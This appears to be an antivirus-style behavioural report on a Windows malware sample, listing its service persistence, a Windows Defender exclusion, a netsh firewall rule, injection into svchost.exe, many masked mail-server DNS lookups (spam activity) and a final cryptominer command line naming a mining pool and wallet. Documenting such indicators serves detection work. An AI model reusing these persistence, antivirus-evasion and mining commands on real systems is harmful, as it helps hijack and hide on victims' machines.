Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\wyudgqku] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wyudgqku] 'ImagePath' = '%WINDIR%\SysWOW64\wyudgqku\okcczonb.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\wyudgqku] 'ImagePath' = '%WINDIR%\SysWOW64\wyudgqku\okcczonb.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\wyudgqku' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\okcczonb.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\okcczonb.exe to %WINDIR%\syswow64\wyudgqku\okcczonb.exe
Deletes itself.
Network activity
Connects to
- 'mx#######801.gslb.pphosted.com':25
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK gl###ltv.com.au
- DNS ASK lu####a.ifc.edu.br
- DNS ASK th####ebreads.com
- DNS ASK ra###bhandy.com
- DNS ASK sm####n.virgilio.it
- DNS ASK vi##ilio.it
- DNS ASK th####reclan.com
- DNS ASK ra##ps.com
- DNS ASK google.com
- DNS ASK sm#####.iomartmail.com
- DNS ASK th###iras.com
- DNS ASK ra#l.dk
- DNS ASK pr#######tagnt2.bryanlgh.org
- DNS ASK br###lgh.org
- DNS ASK mx#######701.gslb.pphosted.com
- DNS ASK he###.#atawave.net.au
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK gm##l.com
- DNS ASK th###ines.com
- DNS ASK ra##co.dk
- DNS ASK si###ave.com.au
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK ao#.com
- DNS ASK th###hills.net
- DNS ASK pr######rastructure.com.au
- DNS ASK th###ahills.com
- DNS ASK mx#######601.gslb.pphosted.com
- DNS ASK qa###s.com.au
- DNS ASK is#.gov.au
- DNS ASK lu##nac.com
- DNS ASK sh###.net.au
- DNS ASK ra##en.dk
- DNS ASK th####eman.co.za
- DNS ASK ra##ens.com
- DNS ASK mx#.mail.ru
- DNS ASK sp##evis.be
- DNS ASK th###labros.com
- DNS ASK sp###ter.com
- DNS ASK tu####pcasino.com
- DNS ASK d1######.#ss.barracudanetworks.com
- DNS ASK pf#.com.au
- DNS ASK su####ome.com.au
- DNS ASK d4#####.##s.barracudanetworks.com
- DNS ASK sp##.com.tw
- DNS ASK ms#.#pil.com.tw
- DNS ASK su###per.com.au
- DNS ASK mx#######801.gslb.pphosted.com
- DNS ASK go##le.ru
- DNS ASK ma#l.ru
- DNS ASK th###kezone.com
- DNS ASK mx.##zhled.cz
- DNS ASK sp###tualy.cz
- DNS ASK kn###bai.com
- DNS ASK be##lee.edu
- DNS ASK in#######relays.illinois.edu
- DNS ASK ui##.edu
- DNS ASK fp##.mail.dk
- DNS ASK ad##home.dk
- DNS ASK ma##.##rkandfitz.com
- DNS ASK ba###ndfitz.com
- DNS ASK ma####.bspg.com.au
- DNS ASK bs###.com.au
- DNS ASK th####erybakery.net
- DNS ASK sm###in.iol.it
- DNS ASK io#.it
- DNS ASK th######inepartnership.com
- DNS ASK si####eephones.com
- DNS ASK di##.gov.au
- DNS ASK sm####n.inwind.it
- DNS ASK mx#######a01.gslb.pphosted.com
- DNS ASK ua##.edu
- DNS ASK ma##.##tionalrto.com
- DNS ASK na###nalrto.com
- DNS ASK mx#.##ailsrvr.com
- DNS ASK br###tmini.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK ho##ail.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ya##o.com
- DNS ASK et###.#ail.tiscali.it
- DNS ASK ti##ali.it
- DNS ASK na###nalrv.com
- DNS ASK sf##.com
- DNS ASK ch#.edu
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK th#####erselistens.com
- DNS ASK aspmx.l.google.com
- DNS ASK mi####.bittubeapp.com
- DNS ASK br###lemon.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK th###ity.org
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK sm####n.libero.it
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK li##ro.it
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ho###il.co.uk
- DNS ASK mx#######901.gslb.pphosted.com
- DNS ASK bt###ernet.com
- DNS ASK al###ba-inc.com
- DNS ASK gm#.de
- DNS ASK mx##.#mig.gmx.net
- DNS ASK th#####ersityblog.co.uk
- DNS ASK sp#.#wa.edu.au
- DNS ASK ma#####t-in1.uwa.edu.au
- DNS ASK in##nd.it
- DNS ASK th###ixgeek.com
- DNS ASK si##.com
- DNS ASK lu####aber.com.br
- DNS ASK mx.####.locaweb.com.br
- DNS ASK ye###w-stone.it
- DNS ASK ma##.##llow-stone.it
- DNS ASK lu#####shoteis.com.br
- DNS ASK mx.#.#ocaweb.com.br
- DNS ASK mx#.####selschambers.com.au
- DNS ASK 12####oor.com.au
- DNS ASK 16#####.mxmail.netease.com
- DNS ASK 16#.com
- DNS ASK lu####ida.org.br
- DNS ASK te######creditunion.com.au
- DNS ASK mx.#####.#om.cust.b.hostedemail.com
- DNS ASK ly##s.com
- DNS ASK mx.###.iprimus.com.au
- DNS ASK ip###us.com.au
- DNS ASK lu###istica.com
- DNS ASK br#######com.p10.mxthunder.com
- DNS ASK br###lex.com
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK th###iverse.net
- DNS ASK mx#.##ibaba-inc.com
- DNS ASK mx.##.#tinternet.com
- DNS ASK fr#####.#inamail.sina.com.cn
- DNS ASK ma###.#uperdome.com.au
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\wyudgqku\okcczonb.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wyudgqku\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\okcczonb.exe" %WINDIR%\SysWOW64\wyudgqku\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create wyudgqku binPath= "%WINDIR%\SysWOW64\wyudgqku\okcczonb.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description wyudgqku "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start wyudgqku' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wyudgqku\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\okcczonb.exe" %WINDIR%\SysWOW64\wyudgqku\
- '%WINDIR%\syswow64\sc.exe' create wyudgqku binPath= "%WINDIR%\SysWOW64\wyudgqku\okcczonb.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description wyudgqku "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start wyudgqku
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3yF6V9xnLZcVuHhV6W19JR6Ze5F6M26CDujJeY4mkkQ3ZsCiyenVujf2DkwFXaoL3rb8rvtSseFVvTsDPSJt482P4jGtDmN.60000 -p x -k
